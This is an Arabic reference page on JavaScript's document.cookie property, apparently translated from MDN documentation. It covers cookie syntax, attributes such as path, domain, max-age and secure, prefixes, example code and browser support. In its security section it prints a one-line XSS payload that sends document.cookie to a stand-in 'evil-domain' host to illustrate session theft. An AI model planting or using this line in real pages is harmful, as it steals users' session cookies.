* <code>[[JavaScript/Date/toUTCString | ‎Date.toUTCString‎‎‎()‎]]</code>
* [[HTTP|HTTP]]
* [http://www.ietf.org/rfc/rfc2965.txt RFC 2965]
==مصادر ومواصفات==
==مصادر ومواصفات==
* مواصفة [https://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-8747038 Document Object Model (DOM) Level 2 HTML Specification]  
*مواصفة [https://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-8747038 Document Object Model (DOM) Level 2 HTML Specification]
* مواصفة [https://tools.ietf.org/html/draft-west-cookie-prefixes-05 Cookie Prefixes]
*مواصفة [https://tools.ietf.org/html/draft-west-cookie-prefixes-05 Cookie Prefixes]
 
[[تصنيف:JavaScript]]
[[تصنيف:JavaScript]]
[[تصنيف:Web API]]
[[تصنيف:Web API]]
[[تصنيف:DOM]]
[[تصنيف:DOM]]
[[تصنيف:Document]]
[[تصنيف:Document]]

المراجعة الحالية بتاريخ 14:34، 7 أكتوبر 2022

تُستعمل هذه الخاصيّة للحصول على ملفّات الارتباط (cookies) المُرتبطة بالمُستند الحالي وضبطها، للتعامل مع ملفّات الارتباط ببساطة أكثر، انظر إطار العمل البسيط هذا.

البنية العامة

الحصول على جميع ملفّات تعريف الارتباط المتاحة

allCookies = document.cookie;

المُتغيّر allCookies أعلاه عبارة عن سلسلة نصيّة تحتوي على قائمة بجميع ملفات الارتباط مفصولة بفاصلة منقوطة (;)، وهي على شكل مفتاح=قيمة.

ضبط ملفّ ارتباط جديد

document.cookie = newCookie;

في الشيفرة أعلاه، المُتغيّر newCookie عبارة عن سلسلة نصيّة على شكل مفتاح=قيمة. لاحظ أنّك تستطيع أن تضبط أو تُحدّث ملفّ ارتباط واحد فقط في كل مرّة باستعمال هذه الطّريقة. وضَع في ذهنك ما يلي كذلك:

  • يُمكن لأيّ من قيم خصائص ملفّات الارتباط التّالية أن تتبَع اختياريًا زوج المفتاح وقيمته، وذلك عبر تحديد ملفّ الارتباط المُرادِ ضبطه أو تحديثه ويجب على قيم الخصائص هذه أن تُسبَق بفاصلة منقوطة كفاصِل:
    • ;path=path (يقبل قيمًا مثل '/' و'‎/mydir')، إن لم تُحدَّد أيّة قيمة، فقيمته الافتراضيّة هي المسار الحاليّ لمكان المُستند الحاليّ. يجب على المسار أن يكون مُطلقًا (absolute)، انظر RFC 6265. للمزيد من المعلومات حول كيفيّة استعمال المسارات النسبيّة (relative paths)، انظر هذه الفقرة.
    • ;domain=domain (يقبل قيمًا مثل 'example.com' أو 'subdomain.example.com'). إن لم تحدَّد أيّة قيمة، فقيمته الافتراضيّة هي جزء المُضيف الخاصّ بمكان المُستند الحالي (لا يشمل النّطاقات الفرعيّة). وعلى عكس المُواصفات السّابقة، فالنّقط التي تسبق أسماء النّطاقات (leading dots) ستُتجاهل، لكنّ المتصفحات قد تمنع ضبط ملفّ ارتباط يحتوي على هذه النّقط. إن حُدِّد النّطاق، فالنّطاقات الفرعيّة دائما ما تكون مشمولة.
    • ;max-age=max-age-in-seconds عدد الثواني التي سيكون فيها ملفّ الارتباط صالحًا، يُمكن أن تكون قيمته مثلا 60*60*24*365 أو 31536000 ليكون ملفّ الارتباط صالحا لسنة واحدة.
    • ;expires=date-in-GMTString-format تُحدّد تاريخ انتهاء صلاحيّة ملفّ الارتباط، إن لم تُضبَط قيمةٍ لأي من expires أو max-age فستنتهي صلاحيّة ملفّ الارتباط في نهاية الجلسة. انظر ‎Date.toUTCString‎‎‎()‎ لفهم كيفيّة تحويل تاريخٍ إلى قيمة تُمثِّل التاريخ في توقيت UTC (وهي الصّيغة المطلوبة لهذه الخاصيّة). مُلاحظة: عندما تكون المعلومات الخاصّة بالمُستخدم حسّاسة فمن المهم على تطبيق الويب الخاص بك أن يُنهيَ صلاحيّة بيانات ملفّ الارتباط بعد مُدّة زمنيّة مُعيّنة، لا يجب أبدا الاعتماد على المُتصفح ليُزيل ملفات الارتباط الخاصّة بالجلسة، إذ إنَّ بعض المتصفحات تمنع ملفات الارتباط من أن تنتهي صلاحيّتها أبَدِيًّا.
    • ;secure السماح لملفّ الارتباط أن ينتقل فقط على بروتوكول آمن مثل https.
  • يُمكن للسلسة النصّية التي تُمثّل قيمة ملفّ الارتباط أن تستعمل الدالة encodeURIComponent() للتأكد من أنّ السلسلة النّصية لا تحتوي على أية فاصلة أو فاصلة منقوطة أو مساحة بيضاء (والتي تعدّ قيمًا غير مسموح بها في قيم ملفّات الارتباط).
  • بعض المتصفحات تدعم السابِقات التّاليّة لملفّات الارتباط:
    • __Secure-‎ تُخبِر المُتصفح بوجوب وضع ملفّات الارتباط المنقولة على قناة آمنة فقط في الطّلبات.
    • __Host-‎ تُخبِر المُتصفح بأنّ امتداد ملفّ الارتباط محدود في مسار يُمنح من طرف الخادم إضافةً إلى وجوب كون ملفّ الارتباط من أصل آمن. إن لم يمنح الخادم المسار، فستُستعمل قيمة عنوان URI الخاصّ بمُجلّد الطّلب. وتُخبر كذلك المُتصفحَ بأنّ خاصّية النّطاق domain لا يجب أن تُضبَط، ما يمنع إرسال ملفّ الارتباط إلى نطاق آخر. يجب على خاصّية المسار path أن تُساويَ دائمًا الأصل في مُتصفّح Chrome. مُلاحظة: تعدّ الشرطة (-) جزءًا من السّابقة (prefix). ويُمكن لهذه السّابقات أن تُضبط فقط في حالة ضُبِطت الخاصيّة secure كذلك.

مُلاحظة: كما ترى من الشيفرة أعلاه، الخاصيّة document.cookie عبارة عن خاصيّة وصول (accessor property)، وفيها دالة getter ودالة setter، ما يعني أنّها ليست خاصيّة بيانات (data property) ذات قيمة: أي أنّ ما تكتبُه ليس نفسه ما تقرأه، ويتوسّط مُفسّر JavaScript في كلّ شيء على الدّوام.

أمثلة

استعمال بسيط للخاصية

document.cookie = "name=oeschger";
document.cookie = "favorite_food=tripe";
function alertCookie() {
  alert(document.cookie);
}

شيفرة HTML:

<button onclick="alertCookie()">اعرض ملفّات الارتباط</button>

الحصول على ملف ارتباط باسم test2

document.cookie = "test1=Hello";
document.cookie = "test2=World";

var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");

function alertCookieValue() {
  alert(cookieValue);
}

شيفرة HTML:

<button onclick="alertCookieValue()">اعرِض قيمة ملفّ الارتباط</button>

القيام بعمليةٍ ما لمرة واحدة فقط

لاستعمال الشّيفرة التّالية، تأكّد من إبدال جميع مواضِع اسم ملفّ الارتباط doSomethingOnlyOnce، باسم ملفّ الارتباط الخاص بك.

function doOnce() {
  if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
    alert("Do something here!");
    document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
  }
}

شيفرة HTML:

<button onclick="doOnce()">أجرِ عمليّة لمرّة واحدة فقط</button>

إعادة ضبط ملف الارتباط السابق

function resetOnce() { 
  document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
}

شيفرة HTML:

<button onclick="doOnce()">أعد ضبط ملفّ الارتباط الخاصّ بإجراء عمليّة لمرّة واحدة فقط</button>

التحقق من وجود ملف ارتباط

تتحقّق الشّيفرة أسفله من وجود ملفّ ارتباط باسم "reader".

if (document.cookie.split(';').indexOf('reader=') >= 0) {
    console.log('ملفّ الارتباط موجود')
}

التحقق من أن ملف ارتباط يحمل قيمة محددة

تتحقّق الشّيفرة أسفله من أنّ ملفّ الارتباط ذا الاسم "reader" يحمل القيمة 1.

if (document.cookie.split(';').indexOf('reader=1') >= 0) {
    console.log('قيمة ملفّ الارتباط هي 1')
}

الحماية

من المُهمّ التنويه إلى أنّ خاصيّة المسار لا تحمي ضدّ قراءة ملفّ الارتباط بشكل غير مُصرَّح به من مسار مُختلف. يُمكن تجاوز هذا القيد بسهولة عبر استخدام خصائص DOM، على سبيل المثال، يُمكن القيام بذلك عبر إنشاء عنصر iframe مخفي بمسار ملفّ الارتباط، ثمّ الوصول إلى خاصيّة contentDocument.cookie الخاصّة بعنصر iframe. الطريقة الوحيدة لحماية ملفّ الارتباط هي باستعمال نطاق مُختلف أو نطاق فرعي، وذلك بسبب سياسَة الأصل الواحد.

تُستعمل ملفّات الارتباط في تطبيقات الويب عادةً للتعرّف على مُستخدم وجلسة الاستيثاق (authenticated session) الخاصّة به. لذا فسرِقة ملفّ الارتباط من تطبيق ويب سيؤدّي إلى سرقة جلسة المُستخدم الذي سجّل دخوله. الطرائق الشّائعة لسرقة ملفّات الارتباط تشمل الهندسة الاجتماعيّة أو عبر استغلال ثغرة XSS في التّطبيق. انظر المثال التّالي:

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

يُمكن تخفيف خطر هذا الهجوم عبر ملفّ الارتباط HTTPOnly عن طريق منع الحصول على قيمة ملفّ الارتباط من خلال JavaScript. للاستزادة، انظر إلى Cookies and Security.

ملاحظات

  • بدءًا من فايرفوكس 2، هناك طريقة أفضل لتخزين المعلومات على جهة العميل، وذلك عبر استعمال تخزين DOM.
  • يُمكنك ببساطة حذف ملفّ ارتباط عبر تحديث تاريخ نهاية صلاحيّته إلى صِفر.
  • تذكّر بأنّه كلّما زاد عدد ملفّات الارتباط لديك، كلّما وجَب نقل بياناتٍ أكثر بين الخادوم والعميل لكل طلب. مما سيُبطئ الطّلبات. لذا من المنصوح به جدّا استعمال تخزين DOM إن كانت لديك بيانات تُريد تخزينها على جهة العميل فقط.
  • تُحدّد مواصفة RFC 2965 (الفقرة 5.3) بأنّه لا يجب أن يكون لقيمةِ أو مفتاحِ ملف ارتباطٍ طول أقصى (maximum length)، وتُشجّع كلّ مُتصفح على دعم ملفّات ارتباط كبيرة ذات حجم اعتباطي. الطول الأقصى يكون مُختلفًا حسب المُتصفّح، لذا انظر توثيق كلّ متصفّح بشأن هذا الأمر.

سبب البنية العامّة لخاصيّة الوصول document.cookie يرجِع إلى طبيعة ملفّات الارتباط التي تعتمد على صيغة خادم-عميل، ما يختلف عن طرق تخزين أخرى تعتمد على صيغة عميل-عميل كالتّخزين المحلي (localStorage) مثلًا.

يأمر الخادمُ العميلَ بتخزين ملفّ ارتباط كما يلي:

HTTP/1.0 200 OK Content-type: text/html Set-Cookie: cookie_name1=cookie_value1 Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT

[مُحتويات الصّفحة هنا]

يُعيد العميل إرسال ملفّ الارتباط الذي خزّنه مُسبقا إلى الخادم:

GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2 Accept: */*

استعمال عناوين URL النّسبية مع المُعامل path

يقبل المُعامل path الخاصّ بملفّ ارتباط جديد المسارات المُطلقة فقط. إن أردت استعمال المسارات النّسبية، فستحتاج إلى تحويلها إلى مسارات مُطلقة. يُمكن للدّالة التّالية ترجمة المسارات النّسبية إلى مسارات مُطلقة. وهي دالة مُتعدّدة الأغراض (أي أنّها ليست متعلّقة بملفات الارتباط فقط)، لكنّك تستطيع استعمالها مع المُعامل path الخاصّ بملفّ ارتباط جديد بنجاح كذلك.

المكتبة

/*\
|*|
|*|  :: Translate relative paths to absolute paths ::
|*|
|*|  https://developer.mozilla.org/en-US/docs/Web/API/document.cookie
|*|  https://developer.mozilla.org/User:fusionchess
|*|
|*|  The following code is released under the GNU Public License, version 3 or later.
|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
|*|
\*/

function relPathToAbs (sRelPath) {
  var nUpLn, sDir = "", sPath = location.pathname.replace(/[^\/]*$/, sRelPath.replace(/(\/|^)(?:\.?\/+)+/g, "$1"));
  for (var nEnd, nStart = 0; nEnd = sPath.indexOf("/../", nStart), nEnd > -1; nStart = nEnd + nUpLn) {
    nUpLn = /^\/(?:\.\.\/)*/.exec(sPath.slice(nEnd))[0].length;
    sDir = (sDir + sPath.substring(nStart, nEnd)).replace(new RegExp("(?:\\\/+[^\\\/]*){0," + ((nUpLn - 1) / 3) + "}$"), "/");
  }
  return sDir + sPath.substr(nStart);
}

طريقة الاستعمال

نفترض أنّنا في المسار ‎/JavaScript/Document/document.cookie، التّعليقات أسفل كلّ استدعاءٍ لنافذة التنبيه تُمثّل القيمة المُعادة.

/* Let us be in /JavaScript/Document/document.cookie */

console.log(location.pathname);
// /JavaScript/Document/cookie

console.log(relPathToAbs("./"));
// /JavaScript/Document/

console.log(relPathToAbs("../Object/toString"));
// /JavaScript/Object/toString

console.log(relPathToAbs("../../Bootstrap"));
// /Bootstrap

console.log(relPathToAbs("../Object/./toString/../../../Bootstrap"));
// /Bootstrap

أمثلة أخرى

مكتبة عامة لتنفيذ عملية لمرة واحدة فقط

المكتبة

function executeOnce () {
  var argc = arguments.length, bImplGlob = typeof arguments[argc - 1] === "string";
  if (bImplGlob) { argc++; }
  if (argc < 3) { throw new TypeError("executeOnce - not enough arguments"); }
  var fExec = arguments[0], sKey = arguments[argc - 2];
  if (typeof fExec !== "function") { throw new TypeError("executeOnce - first argument must be a function"); }
  if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { throw new TypeError("executeOnce - invalid identifier"); }
  if (decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) === "1") { return false; }
  fExec.apply(argc > 3 ? arguments[1] : null, argc > 4 ? Array.prototype.slice.call(arguments, 2, argc - 2) : []);
  document.cookie = encodeURIComponent(sKey) + "=1; expires=Fri, 31 Dec 9999 23:59:59 GMT" + (bImplGlob || !arguments[argc - 1] ? "; path=/" : "");
  return true;
}

البنية العامة

executeOnce(callback[, thisObject[, argumentToPass1[, argumentToPass2[, [, argumentToPassN]]]]], identifier[, onlyHere])

الوصف

تُنفِّذ عمليّةً مرّةً واحدةً فقط، حتى بعد تحديث الصّفحة.

المُعاملات

callback

الدّالة المُراد تنفيذها (function).

thisObject

الكائن this (إمّا Object أو null). وهو مُعامل اختياريّ.

argumentToPass1, argumentToPass2, argumentToPassN

مُعاملات الدّالة callback. وهي مُعاملات اختياريّة.

identifier

المُعرّف الذي يُتحقّق منه، أي اسم ملفّ الارتباط (string).

onlyHere

قيمة منطقيّة Boolean تُعبّر عمّا إذا كان ملفّ الارتباط سيستعمل المسار المحليّ (أي القيمة true) عوضا عن المسار العمومي (القيمة false أو undefined)، (إمّا boolean أو undefined). وهو مُعامل اختياريّ.

طريقة الاستعمال

function alertSomething (sMsg) {
  alert(sMsg);
}

executeOnce(alertSomething, null, "مرحبًا بالعالم", "alert_something");

دعم المتصفحات

الميزة Chrome Edge Firefox Internet Explorer Opera Safari
الدعم الأساسي نعم نعم نعم نعم نعم نعم
max-age نعم لا نعم لا نعم نعم
السّابقتان ‎__Host-‎ و‎__Secure-‎ 49 ؟ ؟ لا نعم نعم

مصادر ومواصفات